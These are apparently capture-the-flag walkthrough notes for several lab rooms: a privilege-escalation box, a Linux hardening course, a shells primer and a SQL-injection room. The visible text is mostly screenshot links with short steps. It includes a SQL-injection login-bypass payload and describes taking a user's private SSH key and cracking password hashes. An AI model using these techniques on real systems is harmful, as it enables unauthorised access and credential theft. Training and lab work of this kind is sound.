![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2OjXoBmSRVrDZfLj%2Fimage.png?alt=media\&token=4e6884eb-1c28-4b73-a580-5378b90f1077)

Lets look for interesting files belonging to www-data.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4FYLS756SDWgzXNg%2Fimage.png?alt=media\&token=34e42653-f75d-4cee-b60d-6a4332f6b39e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4Kdmxx2mZguvhKO6%2Fimage.png?alt=media\&token=71d6d2c0-39f1-4578-939a-5faf63c4f933)

Lets look at this interesting file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4TE969GIrQH8MAEZ%2Fimage.png?alt=media\&token=b32bbeda-80ec-4c39-b1d0-862e915220cf)

Looks like a password.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4lAQnnsNryT0dVt2%2Fimage.png?alt=media\&token=9890ade4-78bb-4e49-91a5-f9991437f629)

Lets now go get the private ssh key of pingu.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2wBlEh80QXbVrLov%2Fimage.png?alt=media\&token=6ba5dbe6-0a33-4d4a-8802-a16a240cbe82)

Lets cat the contents of `id_rsa`*and copy it to our machine and call the file `id_rsa.`*

Now lets set the permissions for the file and login with the password we found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4gX3UhU_PD-9rBZd%2Fimage.png?alt=media\&token=b5b2b772-adc6-4b8e-8fac-fd212cbb5de1)

## LinEnum

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR5EOcbSX6sul2V2ok%2Fimage.png?alt=media\&token=646b6c39-8a8b-486d-98df-6b99a7dcfb64)

Lets use the second method, first on our machine lets cd into the directory where the LinEnum file is located and then start a http server on port 8000

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR5WcNkeBbjNPvy_c-%2Fimage.png?alt=media\&token=0e68a014-eb3c-4ea3-b38a-dc6e6fb742f2)

Now lets go to the /tmp folder on the victim machine and download the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR5jQ7xpU-eCBfZNbl%2Fimage.png?alt=media\&token=9da3221d-ef67-4942-9655-d07d17ad8f29)

Now lets give it executable permissions and run the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR6UuQLDsvEZLNyzmJ%2Fimage.png?alt=media\&token=8d963cc3-a51c-46dd-878b-a422ef12bd9a)

Once we run the file we get a lot of information. Looking at the SUID files, we see an interesting one that is not common.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR6i3ku6E-X0d0UepQ%2Fimage.png?alt=media\&token=beb43d7b-7a80-493b-a3b0-ed3b08390c8d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR6odJHlWmdUEhYIz6%2Fimage.png?alt=media\&token=e0f928a0-b06f-4d96-a196-e161465cae42)

## pwndbg

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR7EcjZL7xDH4mKGnK%2Fimage.png?alt=media\&token=2024db8a-6ace-4245-8f34-a34046a4f45b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR7YicRXN26MqfWIba%2Fimage.png?alt=media\&token=1302353c-b9be-4948-b9be-d664b2723cfa)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR7nu3WxixF_Mc3eLE%2Fimage.png?alt=media\&token=f3726d90-41f1-464f-8808-83609e81c142)

## Binary-Exploitation: Manually

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8BxeU5wOmjOzrMpY%2Fimage.png?alt=media\&token=63c1ee80-8651-4ab2-8bd2-517b771f4d2f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8EpwT8BcSjZxZcnZ%2Fimage.png?alt=media\&token=52a3ad3a-2eb2-4d16-a7a5-461fee8b56db)

## Binary-Exploitation: The Pwntools way

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8iRh4BcRZO5hrLK2%2Fimage.png?alt=media\&token=536170d4-c256-46ee-a0b8-2b64f78066d2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8l_79HNYTA1yNR1r%2Fimage.png?alt=media\&token=22061315-0f6a-47c5-9fe8-1802277a1cce)

## Binary Exploitation

Lets use the manual way

Lets cd into the /opt/secret directory and run the command to get the hash of the root user

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR988xC02mG5Gftgwm%2Fimage.png?alt=media\&token=3b736e5a-758f-4ca6-a402-50b5060219a1)

## Finishing The Job

We have the hash, lets copy it and save it on our machine in a file called hash and lets crack it using hashcat.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR9rI5s1Yyji6_VjWb%2Fimage.png?alt=media\&token=ffa2187e-9ca8-4a71-9ffe-54508c264b05)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeRB44mkAtUnBUbNUXz%2Fimage.png?alt=media\&token=09951160-c9b8-43f5-8212-96ab355f88a2)

We have the password.


# Hardening Basics Part 1

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHCueC4eerGNsVChxB%2Fimage.png?alt=media\&token=cdbe728a-2733-4682-9378-b8bff4d22e71)

## Hardening Basics

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHDHxQ6e_XFW6x_2P9%2Fimage.png?alt=media\&token=b9c6e88a-8801-49cd-832e-47fd6d339779)

## Chapter 1: Securing User Accounts

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHEDHlJuuIsQssqNZx%2Fimage.png?alt=media\&token=0fb36efc-fdc9-469b-928c-f0fb222a114a)

### Dangers of Root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHE_SqAm8XiK_v4kJT%2Fimage.png?alt=media\&token=1c2a37a3-783b-4d4e-85a0-1c19100ef982)

### Sudo

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHFkt0nENuQVODh2Cn%2Fimage.png?alt=media\&token=404ac64e-3c19-4d18-8675-ed26e1009f03)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHFooTLdfDrCswuvd9%2Fimage.png?alt=media\&token=6e5aa6f2-4073-455a-aab6-9769246538e7)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHFsdtm32CAJFgX_JV%2Fimage.png?alt=media\&token=0c972678-8931-4d45-aa48-c138376e0a07)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHiAPCQJTQQ4hlm_BA%2Fimage.png?alt=media\&token=41258a92-0a24-443b-8d0a-32c2cd21ede1)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeHAIFJ1g0Hj3ifFD6d%2F-MeHiDsPlWOBs7TEtJET%2Fimage.png?alt=media\&token=0ace89ee-e9c3-49b4-a977-59ab93ec96fe)

### Disabling Root Access

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeKtIcO04jz3ksPwAoc%2F-MeKtVx4LmPo4vlprvmm%2Fimage.png?alt=media\&token=b18a080f-e72a-469a-919e-6fce3d3683cb)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeKtIcO04jz3ksPwAoc%2F-MeKtczloaiXZ9OO1ZdZ%2Fimage.png?alt=media\&token=f2f2cfef-2008-4d03-94dc-80290cb0d78f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeKtIcO04jz3ksPwAoc%2F-MeKthU65pbXhMgVrC2m%2Fimage.png?alt=media\&token=b52565d5-e528-487a-9543-9658bedaccf9)

### Locking Home Directories

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeKtIcO04jz3ksPwAoc%2F-MeKtqq4thrO744bbS-K%2Fimage.png?alt=media\&token=4cd03fbc-9184-4cc5-951d-3e9af138dec3)

### Configuring Password Complexity

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeKtIcO04jz3ksPwAoc%2F-MeKu0dj6Zh_EhBYIGWr%2Fimage.png?alt=media\&token=9dc49515-6289-412e-ab50-af0bd9303534)

### Configuring Other Password Requirements

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeKtIcO04jz3ksPwAoc%2F-MeKu9X-Lkgv07AR2Ova%2Fimage.png?alt=media\&token=8676139b-c2cc-4d56-a034-d2bd8d77fd4f)

### Dangers of the lxd Group

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeKtIcO04jz3ksPwAoc%2F-MeKuFDKPmDpEsfERaIV%2Fimage.png?alt=media\&token=c07fb80d-94ab-4f5d-ac19-d9191fae4cfb)

### Quiz

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMoFkKDdlL6IyY4MWG%2Fimage.png?alt=media\&token=3bce9676-a1f4-4e8f-8df2-c870df6445fc)

## Chapter 2: Firewall Basics

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMoTEfAg_ELSSUuqtb%2Fimage.png?alt=media\&token=4b08c7f3-9616-498c-b01a-b541d880c2d4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMoZzMaQAfE20dhPoZ%2Fimage.png?alt=media\&token=616f5981-4331-4a8a-9887-e72e84515ba8)

### IP Tables

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMp3QlQuhl75XvHz63%2Fimage.png?alt=media\&token=1340c9b0-3076-4687-bfa0-3504a3d1da67)

### IP Tables Configuration&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMp9yWBlpOiFfgs02z%2Fimage.png?alt=media\&token=04d808e4-95bf-4296-840a-b9e4a60dbc2c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMpDzNIyzKjMgXVk34%2Fimage.png?alt=media\&token=bd1b0be8-9318-47a0-b197-bf827847a547)

### Basic Uncomplicated Firewall

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMpLy_tjU5JDDTarLE%2Fimage.png?alt=media\&token=38aafd4d-69b0-41d0-aa5d-997f6ccedd01)

### Quiz

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMo9y-N_axl-JX4BNm%2F-MeMpsEWPdyA2DmR6Ngp%2Fimage.png?alt=media\&token=f73d6e87-06fe-4c64-b6f7-0f602c1647a7)


# What the Shell?

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFZOnjtUf-1GJTApns%2Fimage.png?alt=media\&token=bb65de5b-846b-4388-abb7-895a499bb42f)

## What is a shell?

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFZfF01ozDgzc-THUV%2Fimage.png?alt=media\&token=ae31d4fd-ca86-4574-aee2-937d75b2cb13)

## Tools

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeF_9lUbZ039XMjyzqI%2Fimage.png?alt=media\&token=a4dcb969-58fd-4eab-8028-4458e319c662)

## Types of Shells

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeF_fl4uMQC2GycsvaI%2Fimage.png?alt=media\&token=a113a7ab-11cd-4acc-befc-3e91c1a5b136)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeF_sRx_BJ7BfqkyFJ6%2Fimage.png?alt=media\&token=8b9ac37b-d81f-4fb5-9001-e958f3f27dd2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFa8Ar1gRUJviR-wUu%2Fimage.png?alt=media\&token=3118b375-21e0-4a5f-a5c5-f661d123113f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFaQ_YukgOPgX8ZXUP%2Fimage.png?alt=media\&token=2bb1db55-2244-4e03-863f-bdebb29aec73)

## Netcat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFahS6E-UbcRXywOyU%2Fimage.png?alt=media\&token=2915da6c-4545-4e04-9a61-ddeb30a3f784)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFamv2AbTTyvSicYPT%2Fimage.png?alt=media\&token=d8fb294a-e815-447b-821f-1d1eee645b49)

## Netcat Shell Stabilization

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFbElWH91_JDJnEiZe%2Fimage.png?alt=media\&token=45580965-4338-47af-a306-8847187fcb56)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFcRS4suETPv6stU_U%2Fimage.png?alt=media\&token=c54371fd-973a-445f-8210-17e999e4de95)

## Socat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFd36L9hZtXEQC7qLN%2Fimage.png?alt=media\&token=7ce02938-9cf4-4d62-b006-5ebaab1c8cb3)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFe0R9FrOBXNWzoQ3O%2Fimage.png?alt=media\&token=705bd046-e105-4c28-afa7-947ddb8d87e2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFe7s6tGa6FuWq8OrO%2Fimage.png?alt=media\&token=86c2adde-befd-454a-88c8-86520a826fbc)

## Socat Encrypted Shells

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFeXxCBYbK2JMjewr3%2Fimage.png?alt=media\&token=cc412f0e-ec69-4238-9272-93fd93b38234)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFe_lW48jZjpxTVD_0%2Fimage.png?alt=media\&token=7d01d402-5c3e-461e-9a3d-41cb7acef218)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFexcStpDuqAVirzru%2Fimage.png?alt=media\&token=81865cb5-3da0-4ea0-9ea7-8f1eab6f9ed8)

## Common Shell Payloads

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFfKNX5LDIuix6aB_z%2Fimage.png?alt=media\&token=21e87155-7035-4434-b22a-c51d94bb39df)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFfOA6EiJve1MUePAw%2Fimage.png?alt=media\&token=e1e9f91b-4432-4ed9-bf94-35555e3117ad)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFfWvFO-gOr3EP1wgG%2Fimage.png?alt=media\&token=a0fd9eed-d0f1-434a-a37f-105c5450231f)

## Msfvenom

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFfsBImoNi_lEBTjSs%2Fimage.png?alt=media\&token=4fbb62fa-13c4-4dfe-a331-8f3a8ec82424)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFgK5Ml_v3_Ej-ESGD%2Fimage.png?alt=media\&token=92558d8c-be5c-40a2-9d9f-98cb9984f7fd)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFghI2RNwhg-y3TZ2R%2Fimage.png?alt=media\&token=81f77294-2607-4a15-8a97-a61f0a42dc5a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFgulhdWIWGEk-pcVI%2Fimage.png?alt=media\&token=3f37b33d-624a-4fcc-8271-65b647a0b67e)

## Metasploit multi/handler

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFhAyYkTr9exsMydiX%2Fimage.png?alt=media\&token=7704f91d-aa06-4666-bdd9-14ba594a27da)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFhEAzBL2-yW64nvYu%2Fimage.png?alt=media\&token=f47ebaef-b70e-4393-b7b0-141d730fb622)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFhNsbxLgAjYpLynm_%2Fimage.png?alt=media\&token=f68420ea-f655-4a6b-bcf8-f0be0c9a7d0b)

## WebShells

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFhvg8xE44f8t_lTnh%2Fimage.png?alt=media\&token=af3f77cc-a065-471a-b0be-45effb7847ca)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFi2F7H5Iz2UqiJXrf%2Fimage.png?alt=media\&token=db069aa9-6d5a-4e90-83c2-681836dd42e2)

## Next Steps

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeFZ6oB22Cwst9jj4Nt%2F-MeFiHm-MOfk72PwTHTk%2Fimage.png?alt=media\&token=70550bfe-8298-4bcb-b306-c41f765ccb60)


# Game Zone

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCTJSRZ8wrr1kFIrdO%2Fimage.png?alt=media\&token=1e85bad4-9539-4fd8-bd33-8be5174b4339)

## Obtain Access via SQLi

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCUsvAEiCNYpDOeld6%2Fimage.png?alt=media\&token=deb48066-6c73-4f76-8569-87c1e7a5f7f2)

Lets visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCUxKZyE0Sk554Ssd_%2Fimage.png?alt=media\&token=e060619e-e0a0-41cc-b58b-2d64fc21eda0)

Lets try to login with `' or 1=1 -- -` as our username and pass in our password field.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCVBePuXSxp1N-mSF-%2Fimage.png?alt=media\&token=922ec365-a4c7-4b73-98e2-81a706213f38)

Looks like we were able to login and we have been redirected to another page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCVJO7gHZF69lzsGqg%2Fimage.png?alt=media\&token=a12245f0-12f0-408a-921c-d0c028fdd278)

## Using Sqlmap

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCVVMZke4Lj09GTQzP%2Fimage.png?alt=media\&token=92c30298-8da3-47d5-932c-692d275f3c94)

Lets first open burp and capture the request with a test search

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCWGsR-LzkI74J3YIk%2Fimage.png?alt=media\&token=93411d30-a28c-406b-8d4c-eb43b87bd775)

Now lets save this request to a text file called request.txt (Actions > Save Item > Give name > Saved)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCWlZ3fS5a99Jph4XJ%2Fimage.png?alt=media\&token=787e76fb-f891-4981-8ece-8d5ad14f54f0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCWxvrbk4pW3LrKaxu%2Fimage.png?alt=media\&token=ac6faf7e-54de-415e-8f93-b3e04fddbd56)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCX3ol4Mwp4K_mArT_%2Fimage.png?alt=media\&token=dcab3b50-1b78-4320-a44e-dbdd97f351a8)

Lets use Sqlmap to get information.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCXFxMF_OMW2XX1_Bx%2Fimage.png?alt=media\&token=1abdcc23-746f-4281-8d40-68980b180b58)

Type Yes for all the questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCYljAqkmSnT9eiFm9%2Fimage.png?alt=media\&token=78d80c08-82d7-425b-92fa-dc1a90a3e56c)

## Cracking a password with John The Ripper

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCYy7qE7Vx8aCwUM85%2Fimage.png?alt=media\&token=3d88d238-9e60-4e16-9e38-0c2a6fa4c010)

Lets crack the password

